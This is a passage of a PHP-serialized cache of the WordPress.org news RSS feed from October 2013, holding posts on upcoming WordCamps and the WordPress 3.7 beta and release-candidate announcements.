\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:18:\&quot;Upcoming WordCamps\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:55:\&quot;http://wordpress.org/news/2013/10/upcoming-wordcamps-4/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:64:\&quot;http://wordpress.org/news/2013/10/upcoming-wordcamps-4/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 22 Oct 2013 19:25:26 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Community\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;WordCamp\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2723\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:368:\&quot;WordCamps are casual, locally-organized conferences that celebrate everything related to WordPress, and are a great opportunity to meet other WordPress users and professionals in your community. This has been a great year for WordCamps &amp;#8212; there have been 56 so far in more than 20 countries, and there another 15 on the calendar before the year&amp;#8217;s [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Jen Mylo\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:3584:\&quot;&lt;p&gt;&lt;a href=\&quot;http://central.wordcamp.org/\&quot;&gt;WordCamps&lt;/a&gt; are casual, locally-organized conferences that celebrate everything related to WordPress, and are a great opportunity to meet other WordPress users and professionals in your community. This has been a great year for WordCamps &amp;#8212; there have been 56 so far in more than 20 countries, and there another 15 on the calendar before the year&amp;#8217;s over. If there&amp;#8217;s one near you, check it out! In addition to getting to know your local WordPress community, most WordCamps attract some traveling visitors a well, giving you the chance to meet contributors to the WordPress open source project and &lt;a href=\&quot;http://make.wordpress.org/\&quot;&gt;get involved&lt;/a&gt; yourself.&lt;/p&gt;\n&lt;p&gt;Here are the WordCamps on the schedule for the rest of this year.&lt;/p&gt;\n&lt;p&gt;October 25-27: &lt;strong&gt;&lt;a href=\&quot;http://2013.boston.wordcamp.org/\&quot;&gt;WordCamp Boston&lt;/a&gt;&lt;/strong&gt;, Boston, MA, USA&lt;br /&gt;\nOctober 25-26: &lt;strong&gt;&lt;a href=\&quot;http://2013.malaga.wordcamp.org/\&quot;&gt;WordCamp Malaga&lt;/a&gt;&lt;/strong&gt;, Spain&lt;br /&gt;\nOctober 26: &lt;strong&gt;&lt;a href=\&quot;http://2013.nepal.wordcamp.org/\&quot;&gt;WordCamp Nepal&lt;/a&gt;&lt;/strong&gt;, Kathmandu, Nepal&lt;br /&gt;\nOctober 26: &lt;strong&gt;&lt;a href=\&quot;http://2013.sofia.wordcamp.org/\&quot;&gt;WordCamp Sofia&lt;/a&gt;&lt;/strong&gt;, Bulgaria&lt;br /&gt;\nNovember 7: &lt;strong&gt;&lt;a href=\&quot;http://2013.capetown.wordcamp.org/\&quot;&gt;WordCamp Cape Town&lt;/a&gt;&lt;/strong&gt;, South Africa&lt;br /&gt;\nNovember 9: &lt;strong&gt;&lt;a href=\&quot;http://2013.porto.wordcamp.org/\&quot;&gt;WordCamp Porto&lt;/a&gt;&lt;/strong&gt;, Portugal&lt;br /&gt;\nNovember 9-10: &lt;strong&gt;&lt;a href=\&quot;http://2013.kenya.wordcamp.org/\&quot;&gt;WordCamp Kenya&lt;/a&gt;&lt;/strong&gt;, Nairobi, Kenya&lt;br /&gt;\nNovember 15: &lt;strong&gt;&lt;a href=\&quot;http://2013.edmonton.wordcamp.org/\&quot;&gt;WordCamp Edmonton&lt;/a&gt;&lt;/strong&gt;, AB, Canada&lt;br /&gt;\nNovember 16-17: &lt;strong&gt;&lt;a href=\&quot;http://2013.orlando.wordcamp.org/\&quot;&gt;WordCamp Orlando&lt;/a&gt;&lt;/strong&gt;, FL, USA&lt;br /&gt;\nNovember 16: &lt;strong&gt;&lt;a href=\&quot;http://2013.denver.wordcamp.org/\&quot;&gt;WordCamp Denver&lt;/a&gt;&lt;/strong&gt;, CO, USA&lt;br /&gt;\nNovember 23-24: &lt;strong&gt;&lt;a href=\&quot;http://2013.london.wordcamp.org/\&quot;&gt;WordCamp London&lt;/a&gt;&lt;/strong&gt;, UK&lt;br /&gt;\nNovember 23-24: &lt;strong&gt;&lt;a href=\&quot;http://2013.raleigh.wordcamp.org/\&quot;&gt;WordCamp Raleigh&lt;/a&gt;&lt;/strong&gt;, NC, USA&lt;br /&gt;\nNovember 23: &lt;strong&gt;&lt;a href=\&quot;http://2013.saopaulo.wordcamp.org/\&quot;&gt;WordCamp São Paulo&lt;/a&gt;&lt;/strong&gt;, Brazil&lt;br /&gt;\nDecember 14: &lt;strong&gt;&lt;a href=\&quot;http://2013.vegas.wordcamp.org/\&quot;&gt;WordCamp Las Vegas&lt;/a&gt;&lt;/strong&gt;, NV, USA&lt;br /&gt;\nDecember 14-15: &lt;strong&gt;&lt;a href=\&quot;http://2013.sevilla.wordcamp.org/\&quot;&gt;WordCamp Sevilla&lt;/a&gt;&lt;/strong&gt;, Spain&lt;/p&gt;\n&lt;p&gt;No WordCamps on this list in your area? Not to worry! There are thriving &lt;a href=\&quot;http://wordpress.meetup.com/\&quot;&gt;WordPress meetups&lt;/a&gt; all over the world where you can meet like-minded people, and we maintain a library of &lt;a href=\&quot;http://wordpress.tv/category/wordcamptv/\&quot;&gt;WordCamp videos&lt;/a&gt; at &lt;a href=\&quot;http://wordpress.tv/\&quot;&gt;WordPress.tv&lt;/a&gt;.&lt;/p&gt;\n&lt;h3&gt;Get Involved&lt;/h3&gt;\n&lt;ul&gt;\n&lt;li&gt;If you&amp;#8217;re interested in organizing a WordCamp in your area, check out our &lt;a href=\&quot;http://plan.wordcamp.org/\&quot;&gt;WordCamp planning&lt;/a&gt; site.&lt;/li&gt;\n&lt;li&gt;If you&amp;#8217;re interested in &lt;a href=\&quot;http://make.wordpress.org/community/meetup-interest-form/\&quot;&gt;starting a WordPress meetup&lt;/a&gt; in your area, let us know and we can set up a group on meetup.com for you.&lt;/li&gt;\n&lt;li&gt;And speaking of WordCamp videos, we&amp;#8217;ve recently enabled volunteer-generated subtitles/closed captioning of the videos on WordPress.tv to make them more accessible. Interested in helping? Check out the &lt;a href=\&quot;http://wordpress.tv/using-amara-org-to-caption-or-subtitle-a-wordpress-tv-video/\&quot;&gt;WordPress.tv subtitling instructions&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:60:\&quot;http://wordpress.org/news/2013/10/upcoming-wordcamps-4/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:4;a:6:{s:4:\&quot;data\&quot;;s:45:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;WordPress 3.7 Release Candidate\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:66:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-release-candidate/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:75:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-release-candidate/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 18 Oct 2013 19:52:14 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;Development\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Releases\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2718\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:331:\&quot;The first release candidate for WordPress 3.7 is now available! In RC 1, we&amp;#8217;ve made some adjustments to the update process to make it more reliable than ever. We hope to ship WordPress 3.7 next week, but we need your help to get there. If you haven’t tested 3.7 yet, there’s no time like the present. (Please, [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Andrew Nacin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2237:\&quot;&lt;p&gt;The first release candidate for WordPress 3.7 is now available!&lt;/p&gt;\n&lt;p&gt;In RC 1, we&amp;#8217;ve made some adjustments to the update process to make it more reliable than ever. We hope to ship WordPress 3.7 &lt;em&gt;next week&lt;/em&gt;, but we need your help to get there. If you haven’t tested 3.7 yet, there’s no time like the present. (Please, not on a production site, unless you’re adventurous.)&lt;/p&gt;\n&lt;p&gt;WordPress 3.7 introduces &lt;strong&gt;automatic background updates&lt;/strong&gt; for security and minor releases (like updating from 3.7 to 3.7.1). These are really easy to test  — RC 1 will update every 12 hours or so to the latest development version, and then email you the results. (You may get two emails: one for debugging, and one all users of 3.7 will receive.) If something went wrong, you can report it.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Think you’ve found a bug? &lt;/strong&gt;Please post to the &lt;a href=\&quot;http://wordpress.org/support/forum/alphabeta/\&quot;&gt;Alpha/Beta area in the support forums&lt;/a&gt;. If any known issues come up, you’ll be able to &lt;a href=\&quot;http://core.trac.wordpress.org/report/5\&quot;&gt;find them here&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;To test WordPress 3.7 RC1, try the &lt;a href=\&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/\&quot;&gt;WordPress Beta Tester&lt;/a&gt; plugin (you’ll want “bleeding edge nightlies”). Or you can &lt;a href=\&quot;http://wordpress.org/wordpress-3.7-RC1.zip\&quot;&gt;download the release candidate here&lt;/a&gt; (zip). If you’d like to learn more about what&amp;#8217;s new in WordPress 3.7, visit the awesome About screen in your dashboard (&lt;strong&gt;&lt;img alt=\&quot;\&quot; src=\&quot;http://core.svn.wordpress.org/branches/3.6/wp-content/themes/twentyten/images/wordpress.png\&quot; /&gt; → About&lt;/strong&gt; in the toolbar). There, you can also see if your install is eligible for background updates. WordPress won’t automatically update, for example, if you’re using version control like Subversion or Git.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Developers,&lt;/strong&gt; please test your plugins and themes against WordPress 3.7, so that if there is a compatibility issue, we can figure it out before the final release. Make sure you post any issues to the support forums.&lt;/p&gt;\n&lt;p&gt;&lt;em&gt;WordPress three seven&lt;/em&gt;&lt;br /&gt;\n&lt;em&gt;A self-updating engine&lt;/em&gt;&lt;br /&gt;\n&lt;em&gt;Lies beneath the hood&lt;/em&gt;&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:71:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-release-candidate/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:5;a:6:{s:4:\&quot;data\&quot;;s:45:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:20:\&quot;WordPress 3.7 Beta 2\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:55:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-beta-2/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:64:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-beta-2/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 10 Oct 2013 21:28:06 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;Development\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Releases\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2706\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:357:\&quot;WordPress 3.7 Beta 2 is now available for download and testing. This is software still in development, so we don&amp;#8217;t recommend that you run it on a production site. This has been a quiet beta period. We&amp;#8217;re hoping to get some more testers for automatic background updates, which will occur for security and minor releases (like updating [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Andrew Nacin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2108:\&quot;&lt;p&gt;WordPress 3.7 Beta 2 is now available for download and testing. This is software still in development, so we don&amp;#8217;t recommend that you run it on a production site.&lt;/p&gt;\n&lt;p&gt;This has been a quiet beta period. We&amp;#8217;re hoping to get some more testers for &lt;strong&gt;automatic background updates&lt;/strong&gt;, which will occur for security and minor releases (like updating from 3.7 to 3.7.1). It&amp;#8217;s really easy to test this, as Beta 2 will update each day to the latest development version and then email you the results. If something goes wrong, you can report it — it&amp;#8217;s that simple. To get the beta, try the &lt;a href=\&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/\&quot;&gt;WordPress Beta Tester&lt;/a&gt; plugin (you&amp;#8217;ll want &amp;#8220;bleeding edge nightlies&amp;#8221;). Or you can &lt;a href=\&quot;http://wordpress.org/wordpress-3.7-beta2.zip\&quot;&gt;download the beta here&lt;/a&gt; (zip). Check out &lt;strong&gt;Dashboard → Updates&lt;/strong&gt; to see if your install is eligible for background updates. WordPress won&amp;#8217;t update if, for example, you&amp;#8217;re using version control like SVN or Git.&lt;/p&gt;\n&lt;p&gt;For more of what&amp;#8217;s new in version 3.7, &lt;a title=\&quot;WordPress 3.7 Beta 1\&quot; href=\&quot;http://wordpress.org/news/2013/09/wordpress-3-7-beta-1/\&quot;&gt;check out the Beta 1 blog post&lt;/a&gt;. In Beta 2, we further increased the stability of background updates and also added about 50 bug fixes, including a fix for Internet Explorer 11 in the visual editor.&lt;/p&gt;\n&lt;p&gt;If you think you’ve found a bug, you can post to the &lt;a href=\&quot;http://wordpress.org/support/forum/alphabeta\&quot;&gt;Alpha/Beta area&lt;/a&gt; in the support forums. Or, if you’re comfortable writing a bug report, &lt;a href=\&quot;http://core.trac.wordpress.org/\&quot;&gt;file one on the WordPress Trac&lt;/a&gt;. There, you can also find &lt;a href=\&quot;http://core.trac.wordpress.org/report/5\&quot;&gt;a list of known bugs&lt;/a&gt; and &lt;a href=\&quot;http://core.trac.wordpress.org/query?status=closed&amp;amp;group=component&amp;amp;milestone=3.7\&quot;&gt;everything we’ve fixed&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Happy testing!&lt;/p&gt;\n&lt;p&gt;&lt;em&gt;Beta 2 released&lt;br /&gt;\nDotting i&amp;#8217;s and crossing t&amp;#8217;s&lt;/em&gt;&lt;br /&gt;\n&lt;em&gt;Expect RC next&lt;/em&gt;&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:60:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-beta-2/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:6;a:6:{s:4:\&quot;data\&quot;;s:45:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:20:\&quot;WordPress 3.7 Beta 1\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:55:\&quot;http://wordpress.org/news/2013/09/wordpress-3-7-beta-1/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:64:\&quot;http://wordpress.org/news/2013/09/wordpress-3-7-beta-1/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 28 Sep 2013 07:25:44 